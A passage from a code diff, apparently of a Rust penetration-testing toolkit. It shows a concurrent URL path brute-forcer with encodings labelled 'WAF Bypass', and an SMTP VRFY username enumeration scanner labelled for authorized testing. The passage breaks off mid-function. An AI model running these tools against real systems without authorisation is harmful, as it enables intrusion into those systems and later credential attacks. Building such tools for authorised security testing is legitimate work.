println!("4. All Printable ASCII (Standard Brute)");
|
||||
println!("5. Custom");
|
||||
|
||||
let c_mode_str = prompt_required("Charset Selection (1-5)").await?;
|
||||
let c_mode: u8 = c_mode_str.parse().unwrap_or(4);
|
||||
|
||||
let custom = if c_mode == 5 {
|
||||
Some(prompt_required("Custom Charset String").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
// 3. Lengths
|
||||
// Using prompt_required to prevent skipping issues with buffered inputs
|
||||
let min_len_str = prompt_required("Min Sequence Length (e.g. 1)").await?;
|
||||
let min_len: usize = min_len_str.parse().unwrap_or(1);
|
||||
|
||||
let max_len_str = prompt_required("Max Sequence Length (e.g. 3)").await?;
|
||||
let max_len: usize = max_len_str.parse().unwrap_or(3);
|
||||
|
||||
if max_len > 4 && c_mode == 4 {
|
||||
println!("{}", "[!] Warning: Brute forcing printable ASCII > 4 chars will take a VERY long time.".yellow());
|
||||
}
|
||||
|
||||
// 4. Encoding
|
||||
println!("\n{}", "Select Encoding (WAF Bypass):".cyan());
|
||||
println!("0. None (Raw)");
|
||||
println!("1. URL Encode (%XX)");
|
||||
println!("2. Double URL Encode (%25XX)");
|
||||
println!("3. Hex Encode (\\xXX)");
|
||||
println!("4. Unicode (\\u00XX)");
|
||||
println!("5. HTML Entity (")");
|
||||
println!("6. Decimal (&#DDD;)");
|
||||
println!("7. Octal (\\OOO)");
|
||||
println!("8. Base64");
|
||||
println!("9. Mixed/Random");
|
||||
|
||||
let enc_choice_str = prompt_required("Encoding Selection (0-9)").await?;
|
||||
let enc_choice: u8 = enc_choice_str.parse().unwrap_or(0);
|
||||
|
||||
let encoding = match enc_choice {
|
||||
1 => EncodingType::Url,
|
||||
2 => EncodingType::DoubleUrl,
|
||||
3 => EncodingType::Hex,
|
||||
4 => EncodingType::Unicode,
|
||||
5 => EncodingType::HtmlEntity,
|
||||
6 => EncodingType::Decimal,
|
||||
7 => EncodingType::Octal,
|
||||
8 => EncodingType::Base64,
|
||||
9 => EncodingType::Mixed,
|
||||
_ => EncodingType::None,
|
||||
};
|
||||
|
||||
// 5. Config
|
||||
let concurrency_str = prompt_required("Concurrency (Threads)").await?;
|
||||
let concurrency: usize = concurrency_str.parse().unwrap_or(50);
|
||||
|
||||
let cookies = if prompt_yes_no("Add Cookies?", false).await? {
|
||||
Some(prompt_required("Cookie Header Value").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
let verbose = prompt_yes_no("Verbose Mode? (Print all 403s)", false).await?;
|
||||
|
||||
Ok(SequentialFuzzerConfig {
|
||||
target_url: url,
|
||||
charset_mode: c_mode,
|
||||
custom_charset: custom,
|
||||
min_length: min_len,
|
||||
max_length: max_len,
|
||||
encoding,
|
||||
concurrency,
|
||||
cookies,
|
||||
verbose,
|
||||
})
|
||||
}
|
||||
|
||||
async fn parse_target_interactive(raw: &str) -> Result<String> {
|
||||
let base = if raw.is_empty() {
|
||||
normalize_target(&prompt_required("Target URL").await?)?
|
||||
} else {
|
||||
normalize_target(raw)?
|
||||
};
|
||||
|
||||
// Ensure protocol
|
||||
let url = if !base.starts_with("http") {
|
||||
format!("http://{}", base)
|
||||
} else {
|
||||
base
|
||||
};
|
||||
|
||||
// Ensure trailing slash
|
||||
if !url.ends_with('/') {
|
||||
println!("{}", format!("[*] Current Target: {}", url).cyan());
|
||||
if prompt_yes_no("Target does not end with '/'. Append it?", true).await? {
|
||||
Ok(format!("{}/", url))
|
||||
} else {
|
||||
Ok(url)
|
||||
}
|
||||
} else {
|
||||
Ok(url)
|
||||
}
|
||||
}
|
||||
|
||||
// --- Persistence ---
|
||||
|
||||
async fn save_template(config: &SequentialFuzzerConfig) -> Result<()> {
|
||||
let name = prompt_default("Template Name", "fuzz_template.json").await?;
|
||||
let json = serde_json::to_string_pretty(config)?;
|
||||
fs::write(&name, json).context("Failed to write template")?;
|
||||
println!("Saved to {}", name);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn load_template() -> Result<SequentialFuzzerConfig> {
|
||||
let path = prompt_existing_file("Template File").await?;
|
||||
let content = fs::read_to_string(&path)?;
|
||||
let config: SequentialFuzzerConfig = serde_json::from_str(&content).context("Invalid JSON")?;
|
||||
println!("{}", "Loaded Config.".green());
|
||||
Ok(config)
|
||||
}
|
||||
|
||||
// --- Execution Engine ---
|
||||
|
||||
enum WriterMessage {
|
||||
Result(FuzzResult),
|
||||
Stop,
|
||||
}
|
||||
|
||||
async fn execute_fuzz(config: SequentialFuzzerConfig) -> Result<()> {
|
||||
// 1. Prepare Output Dir
|
||||
let timestamp = chrono::Local::now().format("%Y%m%d_%H%M%S").to_string();
|
||||
let out_dir = format!("scans/fuzz_{}", timestamp);
|
||||
fs::create_dir_all(&out_dir).context("Failed to create output dir")?;
|
||||
println!("Output Directory: {}", out_dir.cyan());
|
||||
|
||||
// 2. Spawn Writer Actor
|
||||
let (tx, mut rx) = mpsc::channel::<WriterMessage>(1000);
|
||||
let writer_dir = out_dir.clone();
|
||||
let verbose = config.verbose;
|
||||
|
||||
// We cannot move the JoinHandle out easily if we await it later, but we can spawn it.
|
||||
// We need to await it at the end.
|
||||
let writer_handle = tokio::spawn(async move {
|
||||
let mut buffer: HashMap<u16, Vec<FuzzResult>> = HashMap::new();
|
||||
// We don't keep file handles open to avoid limits, we append-open each time.
|
||||
|
||||
while let Some(msg) = rx.recv().await {
|
||||
match msg {
|
||||
WriterMessage::Result(res) => {
|
||||
// 1. Instant Save
|
||||
let file_path = format!("{}/raw_{}.txt", writer_dir, res.status);
|
||||
let line = format!("[Size: {}] {}\n", res.size, res.path);
|
||||
|
||||
if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(&file_path) {
|
||||
let _ = file.write_all(line.as_bytes());
|
||||
}
|
||||
|
||||
// 2. Print Control (Real-time Output)
|
||||
let status = res.status;
|
||||
let should_print = if status == 403 && !verbose {
|
||||
false
|
||||
} else {
|
||||
true
|
||||
};
|
||||
|
||||
if should_print {
|
||||
let status_display = if status >= 200 && status < 300 {
|
||||
format!("{} {}", "[FOUND]".green().bold(), status.to_string().green())
|
||||
} else if status >= 300 && status < 400 {
|
||||
format!("{} {}", "[REDIR]".blue().bold(), status.to_string().blue())
|
||||
} else if status >= 500 {
|
||||
format!("{} {}", "[ERROR]".red().bold(), status.to_string().red())
|
||||
} else if status == 403 || status == 401 {
|
||||
format!("{} {}", "[AUTH]".yellow().bold(), status.to_string().yellow())
|
||||
} else {
|
||||
format!("[{}]", status).white().to_string()
|
||||
};
|
||||
|
||||
println!("{} Size: {} | {}",
|
||||
status_display,
|
||||
res.size.to_string().dimmed(),
|
||||
res.path
|
||||
);
|
||||
}
|
||||
|
||||
// 3. Buffer
|
||||
buffer.entry(res.status).or_default().push(res);
|
||||
},
|
||||
WriterMessage::Stop => break,
|
||||
}
|
||||
}
|
||||
buffer
|
||||
});
|
||||
|
||||
// 3. Engine Setup
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(10))
|
||||
.build()?;
|
||||
|
||||
let charset = get_charset(&config);
|
||||
let sem = Arc::new(Semaphore::new(config.concurrency));
|
||||
|
||||
println!("{}", "Starting Fuzzer... Press Ctrl+C to abort (not handled cleanly)".yellow());
|
||||
|
||||
// 4. Generator Loop
|
||||
// Memory Fix: Do not store JoinHandles in a Vec.
|
||||
// Instead, we rely on the semaphore to track active tasks.
|
||||
|
||||
// We iterate lengths
|
||||
for len in config.min_length..=config.max_length {
|
||||
spawn_combinations_iterative(
|
||||
&client,
|
||||
&config,
|
||||
&charset,
|
||||
len,
|
||||
&sem,
|
||||
&tx
|
||||
).await;
|
||||
}
|
||||
|
||||
// 5. Wait for all tasks to finish
|
||||
// We do this by attempting to acquire ALL permits.
|
||||
// This will block until all active tasks release their permits.
|
||||
println!("Generation done. Waiting for active tasks to complete...");
|
||||
let _ = sem.acquire_many(config.concurrency as u32).await;
|
||||
|
||||
// Stop Writer
|
||||
let _ = tx.send(WriterMessage::Stop).await;
|
||||
let final_buffer = writer_handle.await?;
|
||||
|
||||
println!("\n{}", "Scan Complete. Sorting results...".blue());
|
||||
|
||||
// 6. Sort and Final Save
|
||||
let mut total_403 = 0;
|
||||
|
||||
for (status, mut results) in final_buffer {
|
||||
if status == 403 {
|
||||
total_403 += results.len();
|
||||
}
|
||||
|
||||
results.sort_by(|a, b| b.size.cmp(&a.size)); // Descending size
|
||||
|
||||
let file_path = format!("{}/sorted_{}.txt", out_dir, status);
|
||||
let mut content = String::new();
|
||||
for r in results {
|
||||
// Avoid unwrap on string write (very unlikely to fail on memory, but strictness requested)
|
||||
let _ = writeln!(content, "[Size: {}] {}", r.size, r.path);
|
||||
}
|
||||
fs::write(&file_path, content)?;
|
||||
println!("Saved sorted results for status {} to {}", status, file_path.green());
|
||||
}
|
||||
|
||||
if total_403 > 0 && !config.verbose {
|
||||
println!("{}", format!("\n[*] Aggregated {} '403 Forbidden' responses. (Use verbose mode to see them)", total_403).yellow());
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// Iterative generator that spawns tasks (Base-N Counting)
|
||||
async fn spawn_combinations_iterative(
|
||||
client: &Client,
|
||||
config: &SequentialFuzzerConfig,
|
||||
charset: &[char],
|
||||
length: usize,
|
||||
sem: &Arc<Semaphore>,
|
||||
tx: &mpsc::Sender<WriterMessage>
|
||||
) {
|
||||
if charset.is_empty() || length == 0 { return; }
|
||||
|
||||
// Performance: Parse headers ONCE, not per iteration
|
||||
let mut base_headers = header::HeaderMap::new();
|
||||
if let Some(c) = &config.cookies {
|
||||
if let Ok(val) = c.parse() {
|
||||
base_headers.insert(header::COOKIE, val);
|
||||
}
|
||||
}
|
||||
|
||||
// Indices for each position in the string (0 to charset.len()-1)
|
||||
let mut indices = vec![0; length];
|
||||
let charset_len = charset.len();
|
||||
|
||||
loop {
|
||||
// 1. Build String from Indices
|
||||
let current_payload: String = indices.iter().map(|&i| charset[i]).collect();
|
||||
|
||||
// 2. Execute Task Logic
|
||||
// Safety: Handle semaphore error (closed) gracefully
|
||||
let permit = match sem.clone().acquire_owned().await {
|
||||
Ok(p) => p,
|
||||
Err(_) => {
|
||||
// Semaphore closed or poisoned, stop generation
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
let client = client.clone();
|
||||
let tx = tx.clone();
|
||||
let base = config.target_url.clone();
|
||||
let encoding = config.encoding;
|
||||
let headers = base_headers.clone(); // Clone ARC-like/cheap map? No, HeaderMap clone is relatively cheap but doing it here is necessary for async move.
|
||||
|
||||
// Apply encoding
|
||||
let encoded_payload = encode_payload(¤t_payload, encoding);
|
||||
let url = format!("{}{}", base, encoded_payload);
|
||||
|
||||
tokio::spawn(async move {
|
||||
let _permit = permit; // drop when task done (releases semaphore)
|
||||
|
||||
let req = client.get(&url).headers(headers);
|
||||
// Safety: Handle send errors (don't unwrap)
|
||||
if let Ok(resp) = req.send().await {
|
||||
let status = resp.status().as_u16();
|
||||
let size = resp.content_length().unwrap_or(0);
|
||||
|
||||
let res = FuzzResult {
|
||||
path: url,
|
||||
status,
|
||||
size,
|
||||
};
|
||||
// If receiver dropped, we just stop sending.
|
||||
let _ = tx.send(WriterMessage::Result(res)).await;
|
||||
}
|
||||
});
|
||||
|
||||
// 3. Increment Indices (Standard Base-N Carry)
|
||||
let mut carry = true;
|
||||
for i in (0..length).rev() {
|
||||
indices[i] += 1;
|
||||
if indices[i] < charset_len {
|
||||
carry = false;
|
||||
break; // No carry needed, valid state found
|
||||
}
|
||||
indices[i] = 0; // Reset this position and carry to left
|
||||
}
|
||||
|
||||
if carry {
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,867 @@
|
||||
//! SMTP Username Enumeration Scanner Module
|
||||
//!
|
||||
//! Enumerates usernames on an SMTP server using the VRFY command.
|
||||
//! Supports wordlist-based enumeration with concurrent scanning.
|
||||
//!
|
||||
//! For authorized penetration testing only.
|
||||
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use regex::Regex;
|
||||
use std::fs::{File, OpenOptions};
|
||||
use std::io::{BufRead, BufReader, Write};
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
use std::net::{TcpStream, ToSocketAddrs};
|
||||
use std::path::Path;
|
||||
use std::sync::{Arc, Mutex};
|
||||
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
|
||||
use std::time::{Duration, Instant};
|
||||
use telnet::{Telnet, Event};
|
||||
use threadpool::ThreadPool;
|
||||
use crossbeam_channel::unbounded;
|
||||
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 2;
|
||||
const DEFAULT_SMTP_PORT: u16 = 25;
|
||||
const DEFAULT_THREADS: usize = 10;
|
||||
const DEFAULT_TIMEOUT_MS: u64 = 3000;
|
||||
/// If username wordlist is larger than this, switch to streaming mode
|
||||
const STREAMING_THRESHOLD_BYTES: u64 = 50 * 1024 * 1024; // 50 MB
|
||||
|
||||
struct Statistics {
|
||||
total_checked: AtomicU64,
|
||||
valid_users: AtomicU64,
|
||||
invalid_users: AtomicU64,
|
||||
error_attempts: AtomicU64,
|
||||
start_time: Instant,
|
||||
}
|
||||
|
||||
impl Statistics {
|
||||
fn new() -> Self {
|
||||
Self {
|
||||
total_checked: AtomicU64::new(0),
|
||||
valid_users: AtomicU64::new(0),
|
||||
invalid_users: AtomicU64::new(0),
|
||||
error_attempts: AtomicU64::new(0),
|
||||
start_time: Instant::now(),
|
||||
}
|
||||
}
|
||||
|
||||
fn record_check(&self, valid: bool, error: bool) {
|
||||
self.total_checked.fetch_add(1, Ordering::Relaxed);
|
||||
if error {
|
||||
self.error_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
} else if valid {
|
||||
self.valid_users.fetch_add(1, Ordering::Relaxed);
|
||||
} else {
|
||||
self.invalid_users.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
|
||||
fn print_progress(&self) {
|
||||
let total = self.total_checked.load(Ordering::Relaxed);
|
||||
let valid = self.valid_users.load(Ordering::Relaxed);
|
||||
let invalid = self.invalid_users.load(Ordering::Relaxed);
|
||||
let errors = self.error_attempts.load(Ordering::Relaxed);
|
||||
let elapsed = self.start_time.elapsed().as_secs_f64();
|
||||
let rate = if elapsed > 0.0 { total as f64 / elapsed } else { 0.0 };
|
||||
|
||||
print!(
|
||||
"\r{} {} checked | {} valid | {} invalid | {} err | {:.1}/s ",
|
||||
"[Progress]".cyan(),
|
||||
total.to_string().bold(),
|
||||
valid.to_string().green(),
|
||||
invalid,
|
||||
errors.to_string().red(),
|
||||
rate
|
||||
);
|
||||
let _ = std::io::Write::flush(&mut std::io::stdout());
|
||||
}
|
||||
|
||||
fn print_final(&self) {
|
||||
println!();
|
||||
let total = self.total_checked.load(Ordering::Relaxed);
|
||||
let valid = self.valid_users.load(Ordering::Relaxed);
|
||||
let invalid = self.invalid_users.load(Ordering::Relaxed);
|
||||
let errors = self.error_attempts.load(Ordering::Relaxed);
|
||||
let elapsed = self.start_time.elapsed().as_secs_f64();
|
||||
|
||||
println!("{}", "=== Statistics ===".bold());
|
||||
println!(" Total checked: {}", total);
|
||||
println!(" Valid users: {}", valid.to_string().green().bold());
|
||||
println!(" Invalid users: {}", invalid);
|
||||
println!(" Errors: {}", errors.to_string().red());
|
||||
println!(" Elapsed time: {:.2}s", elapsed);
|
||||
if elapsed > 0.0 {
|
||||
println!(" Average rate: {:.1} checks/s", total as f64 / elapsed);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ SMTP Username Enumeration Scanner ║".cyan());
|
||||
println!("{}", "║ Enumerates usernames using SMTP VRFY command ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
#[derive(Clone)]
|
||||
struct SmtpUserEnumConfig {
|
||||
/// Raw target strings (IP/hostname) before normalization
|
||||
targets: Vec<String>,
|
||||
/// Port used for all targets
|
||||
port: u16,
|
||||
/// Username wordlist path
|
||||
username_wordlist: String,
|
||||
/// Number of worker threads
|
||||
threads: usize,
|
||||
/// Per-connection timeout in milliseconds
|
||||
timeout_ms: u64,
|
||||
/// Verbose output flag
|
||||
verbose: bool,
|
||||
}
|
||||
|
||||
/// Main entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Initial target: {}", target).cyan());
|
||||
println!();
|
||||
|
||||
println!("{}", "[ Configuration Menu ]".bold().green());
|
||||
println!(" 1. Single target (use current target only)");
|
||||
println!(" 2. Targets from file (ignore current target)");
|
||||
println!(" 3. Current target + targets from file");
|
||||
println!();
|
||||
let mode = prompt("Select mode [1-3] (default 1): ").await?;
|
||||
|
||||
// Build initial target list based on selected mode
|
||||
let mut targets: Vec<String> = Vec::new();
|
||||
match mode.trim() {
|
||||
"2" => {
|
||||
let file_path = prompt("Targets file (one IP/hostname per line): ").await?;
|
||||
if file_path.trim().is_empty() {
|
||||
return Err(anyhow!("Targets file path cannot be empty in mode 2"));
|
||||
}
|
||||
let loaded = load_targets_from_file(file_path.trim())?;
|
||||
if loaded.is_empty() {
|
||||
return Err(anyhow!("No valid targets loaded from file"));
|
||||
}
|
||||
targets.extend(loaded);
|
||||
}
|
||||
"3" => {
|
||||
if !target.trim().is_empty() {
|
||||
targets.push(target.trim().to_string());
|
||||
}
|
||||
let file_path = prompt("Additional targets file (one IP/hostname per line): ").await?;
|
||||
if file_path.trim().is_empty() {
|
||||
return Err(anyhow!("Targets file path cannot be empty in mode 3"));
|
||||
}
|
||||
let loaded = load_targets_from_file(file_path.trim())?;
|
||||
if loaded.is_empty() {
|
||||
return Err(anyhow!("No valid additional targets loaded from file"));
|
||||
}
|
||||
targets.extend(loaded);
|
||||
}
|
||||
// Default: mode 1 – single target only
|
||||
_ => {
|
||||
if !target.trim().is_empty() {
|
||||
targets.push(target.trim().to_string());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let port = prompt_port(DEFAULT_SMTP_PORT).await?;
|
||||
let username_wordlist = prompt_wordlist("Username wordlist file: ").await?;
|
||||
let threads = prompt_threads(DEFAULT_THREADS).await?;
|
||||
let timeout_ms = prompt_timeout(DEFAULT_TIMEOUT_MS).await?;
|
||||
let verbose = prompt_yes_no("Verbose mode?", false).await?;
|
||||
|
||||
if targets.is_empty() {
|
||||
return Err(anyhow!("No targets specified for SMTP enumeration"));
|
||||
}
|
||||
|
||||
let config = SmtpUserEnumConfig {
|
||||
targets,
|
||||
port,
|
||||
username_wordlist,
|
||||
threads,
|
||||
timeout_ms,
|
||||
verbose,
|
||||
};
|
||||
|
||||
run_smtp_user_enum(config).await
|
||||
}
|
||||
|
||||
async fn run_smtp_user_enum(config: SmtpUserEnumConfig) -> Result<()> {
|
||||
// Normalize and validate all targets
|
||||
let mut normalized_targets: Vec<(String, String)> = Vec::new();
|
||||
for raw in &config.targets {
|
||||
match normalize_target(raw, config.port) {
|
||||
Ok(addr) => normalized_targets.push((raw.clone(), addr)),
|
||||
Err(e) => {
|
||||
println!(
|
||||
"{}",
|
||||
format!("[!] Skipping target '{}': {}", raw, e).yellow()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if normalized_targets.is_empty() {
|
||||
return Err(anyhow!("All targets failed validation/normalization"));
|
||||
}
|
||||
|
||||
// Decide whether to load usernames into memory or stream line-by-line
|
||||
let metadata = std::fs::metadata(&config.username_wordlist)
|
||||
.with_context(|| format!("Failed to stat username wordlist: {}", config.username_wordlist))?;
|
||||
let size_bytes = metadata.len();
|
||||
let use_streaming = size_bytes > STREAMING_THRESHOLD_BYTES;
|
||||
|
||||
if !use_streaming {
|
||||
let usernames = read_lines(&config.username_wordlist)?;
|
||||
|
||||
if usernames.is_empty() {
|
||||
return Err(anyhow!("Username wordlist is empty."));
|
||||
}
|
||||
|
||||
println!("{}", format!("[*] Loaded {} username(s).", usernames.len()).cyan());
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"[*] Total targets: {} (port {})",
|
||||
normalized_targets.len(),
|
||||
config.port
|
||||
)
|
||||
.cyan()
|
||||
);
|
||||
println!("{}", format!("[*] Threads: {}", config.threads).cyan());
|
||||
println!("{}", format!("[*] Timeout: {}ms", config.timeout_ms).cyan());
|
||||
println!();
|
||||
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let unknown = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop_flag = Arc::new(AtomicBool::new(false));
|
||||
let stats = Arc::new(Statistics::new());
|
||||
let pool = ThreadPool::new(config.threads);
|
||||
let (tx, rx) = unbounded();
|
||||
|
||||
// Queue work: every username against every target (in-memory mode)
|
||||
for (raw_target, addr) in &normalized_targets {
|
||||
for username in &usernames {
|
||||
tx.send((raw_target.clone(), addr.clone(), username.clone()))?;
|
||||
}
|
||||
}
|
||||
drop(tx);
|
||||
|
||||
// Start progress reporter thread
|
||||
let progress_stop = Arc::clone(&stop_flag);
|
||||
let progress_stats = Arc::clone(&stats);
|
||||
let progress_handle = std::thread::spawn(move || {
|
||||
while !progress_stop.load(Ordering::Relaxed) {
|
||||
progress_stats.print_progress();
|
||||
std::thread::sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS));
|
||||
}
|
||||
});
|
||||
|
||||
// Worker threads
|
||||
for _ in 0..config.threads {
|
||||
let rx = rx.clone();
|
||||
let stop_flag = Arc::clone(&stop_flag);
|
||||
let found = Arc::clone(&found);
|
||||
let unknown = Arc::clone(&unknown);
|
||||
let stats = Arc::clone(&stats);
|
||||
let config = config.clone();
|
||||
|
||||
pool.execute(move || {
|
||||
while let Ok((raw_target, addr, username)) = rx.recv() {
|
||||
if stop_flag.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
|
||||
match verify_smtp_user(&addr, &username, config.timeout_ms) {
|
||||
Ok(Some(response)) => {
|
||||
println!(
|
||||
"\r{}",
|
||||
format!(
|
||||
"[+] VALID: {}@{} - {}",
|
||||
username,
|
||||
raw_target,
|
||||
response.trim()
|
||||
)
|
||||
.green()
|
||||
.bold()
|
||||
);
|
||||
let mut users = found.lock().unwrap();
|
||||
users.push((
|
||||
format!("{}@{}", username, raw_target),
|
||||
response.trim().to_string(),
|
||||
));
|
||||
stats.record_check(true, false);
|
||||
}
|
||||
Ok(None) => {
|
||||
stats.record_check(false, false);
|
||||
if config.verbose {
|
||||
println!(
|
||||
"\r{}",
|
||||
format!("[-] Invalid: {}@{}", username, raw_target).dimmed()
|
||||
);
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
stats.record_check(false, true);
|
||||
let msg = e.to_string();
|
||||
if msg.starts_with("Unknown VRFY response for '") {
|
||||
{
|
||||
let mut unk = unknown.lock().unwrap();
|
||||
unk.push((
|
||||
format!("{}@{}", username, raw_target),
|
||||
msg.clone(),
|
||||
));
|
||||
}
|
||||
if config.verbose {
|
||||
eprintln!(
|
||||
"\r{}",
|
||||
format!(
|
||||
"[?] {}@{} -> {}",
|
||||
username, raw_target, msg
|
||||
)
|
||||
.yellow()
|
||||
);
|
||||
}
|
||||
} else if config.verbose {
|
||||
eprintln!("\r{}", format!("[!] {}: {}", username, msg).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
pool.join();
|
||||
|
||||
// Stop progress reporter
|
||||
stop_flag.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.join();
|
||||
|
||||
// Final reporting including unknown responses
|
||||
return finalize_and_report(found, unknown, stats).await;
|
||||
}
|
||||
|
||||
// Streaming mode for very large username lists
|
||||
let size_mb = (size_bytes as f64) / (1024.0 * 1024.0);
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"[*] Large username wordlist detected (~{:.1} MB) – streaming line by line",
|
||||
size_mb
|
||||
)
|
||||
.cyan()
|
||||
);
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"[*] Total targets: {} (port {})",
|
||||
normalized_targets.len(),
|
||||
config.port
|
||||
)
|
||||
.cyan()
|
||||
);
|
||||
println!("{}", format!("[*] Threads: {}", config.threads).cyan());
|
||||
println!("{}", format!("[*] Timeout: {}ms", config.timeout_ms).cyan());
|
||||
println!();
|
||||
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let unknown = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop_flag = Arc::new(AtomicBool::new(false));
|
||||
let stats = Arc::new(Statistics::new());
|
||||
let pool = ThreadPool::new(config.threads);
|
||||
let (tx, rx) = unbounded();
|
||||
|
||||
// Producer thread: read usernames file line-by-line and enqueue work
|
||||
{
|
||||
let targets_clone = normalized_targets.clone();
|
||||
let path_clone = config.username_wordlist.clone();
|
||||
let tx_clone = tx.clone();
|
||||
|
||||
std::thread::spawn(move || {
|
||||
if let Err(e) =
|
||||
enqueue_streaming_usernames(&path_clone, &targets_clone, tx_clone)
|
||||
{
|
||||
eprintln!(
|
||||
"\r{}",
|
||||
format!("[!] Username producer error: {}", e).red()
|
||||
);
|
||||
}
|
||||
});
|
||||
}
|
||||
drop(tx);
|
||||
|
||||
// Start progress reporter thread
|
||||
let progress_stop = Arc::clone(&stop_flag);
|
||||
let progress_stats = Arc::clone(&stats);
|
||||
let progress_handle = std::thread::spawn(move || {
|
||||
while !progress_stop.load(Ordering::Relaxed) {
|
||||
progress_stats.print_progress();
|
||||
std::thread::sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS));
|
||||
}
|
||||
});
|
||||
|
||||
// Worker threads
|
||||
for _ in 0..config.threads {
|
||||
let rx = rx.clone();
|
||||
let stop_flag = Arc::clone(&stop_flag);
|
||||
let found = Arc::clone(&found);
|
||||
let unknown = Arc::clone(&unknown);
|
||||
let stats = Arc::clone(&stats);
|
||||
let config = config.clone();
|
||||
|
||||
pool.execute(move || {
|
||||
while let Ok((raw_target, addr, username)) = rx.recv() {
|
||||
if stop_flag.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
|
||||
match verify_smtp_user(&addr, &username, config.timeout_ms) {
|
||||
Ok(Some(response)) => {
|
||||
println!(
|
||||
"\r{}",
|
||||
format!(
|
||||
"[+] VALID: {}@{} - {}",
|
||||
username,
|
||||
raw_target,
|
||||
response.trim()
|
||||
)
|
||||
.green()
|
||||
.bold()
|
||||
);
|
||||
let mut users = found.lock().unwrap();
|
||||
users.push((
|
||||
format!("{}@{}", username, raw_target),
|
||||
response.trim().to_string(),
|
||||
));
|
||||
stats.record_check(true, false);
|
||||
}
|
||||
Ok(None) => {
|
||||
stats.record_check(false, false);
|
||||
if config.verbose {
|
||||
println!(
|
||||
"\r{}",
|
||||
format!("[-] Invalid: {}@{}", username, raw_target).dimmed()
|
||||
);
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
stats.record_check(false, true);
|
||||
let msg = e.to_string();
|
||||
if msg.starts_with("Unknown VRFY response for '") {
|
||||
{
|
||||
let mut unk = unknown.lock().unwrap();
|
||||
unk.push((
|
||||
format!("{}@{}", username, raw_target),
|
||||
msg.clone(),
|
||||
));
|
||||
}
|
||||
if config.verbose {
|
||||
eprintln!(
|
||||
"\r{}",
|
||||
format!(
|
||||
"[?] {}@{} -> {}",
|
||||
username, raw_target, msg
|
||||
)
|
||||
.yellow()
|
||||
);
|
||||
}
|
||||
} else if config.verbose {
|
||||
eprintln!("\r{}", format!("[!] {}: {}", username, msg).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
pool.join();
|
||||
|
||||
// Stop progress reporter
|
||||
stop_flag.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.join();
|
||||
|
||||
// Final reporting including unknown responses
|
||||
finalize_and_report(found, unknown, stats).await
|
||||
}
|
||||
|
||||
/// Verify a username using SMTP VRFY command
|
||||
/// Returns Ok(Some(response)) if user exists, Ok(None) if user doesn't exist, Err on connection/protocol error
|
||||
fn verify_smtp_user(addr: &str, username: &str, timeout_ms: u64) -> Result<Option<String>> {
|
||||
let socket = addr
|
||||
.to_socket_addrs()?
|
||||
.next()
|
||||
.ok_or_else(|| anyhow!("Could not resolve address"))?;
|
||||
|
||||
let stream = TcpStream::connect_timeout(&socket, Duration::from_millis(timeout_ms))
|
||||
.context("Connection timeout")?;
|
||||
|
||||
stream.set_read_timeout(Some(Duration::from_millis(timeout_ms)))?;
|
||||
stream.set_write_timeout(Some(Duration::from_millis(timeout_ms)))?;
|
||||
|
||||
let mut telnet = Telnet::from_stream(Box::new(stream), 256);
|
||||
let timeout = Duration::from_millis(timeout_ms);
|
||||
|
||||
// Read initial banner (220 response)
|
||||
let mut banner_ok = false;
|
||||
let start = Instant::now();
|
||||
while start.elapsed() < timeout {
|
||||
match telnet.read() {
|
||||
Ok(Event::Data(data)) => {
|
||||
let response = String::from_utf8_lossy(&data);
|
||||
if response.starts_with("220") {
|
||||
banner_ok = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
Ok(_) => continue,
|
||||
Err(_) => break,
|
||||
}
|
||||
}
|
||||
|
||||
if !banner_ok {
|
||||
return Err(anyhow!("No 220 banner received"));
|
||||
}
|
||||
|
||||
// Send VRFY command
|
||||
let vrfy_cmd = format!("VRFY {}\r\n", username);
|
||||
telnet.write(vrfy_cmd.as_bytes())?;
|
||||
|
||||
// Read VRFY response
|
||||
let start = Instant::now();
|
||||
let mut response_text = String::new();
|
||||
|
||||
while start.elapsed() < timeout {
|
||||
match telnet.read() {
|
||||
Ok(Event::Data(data)) => {
|
||||
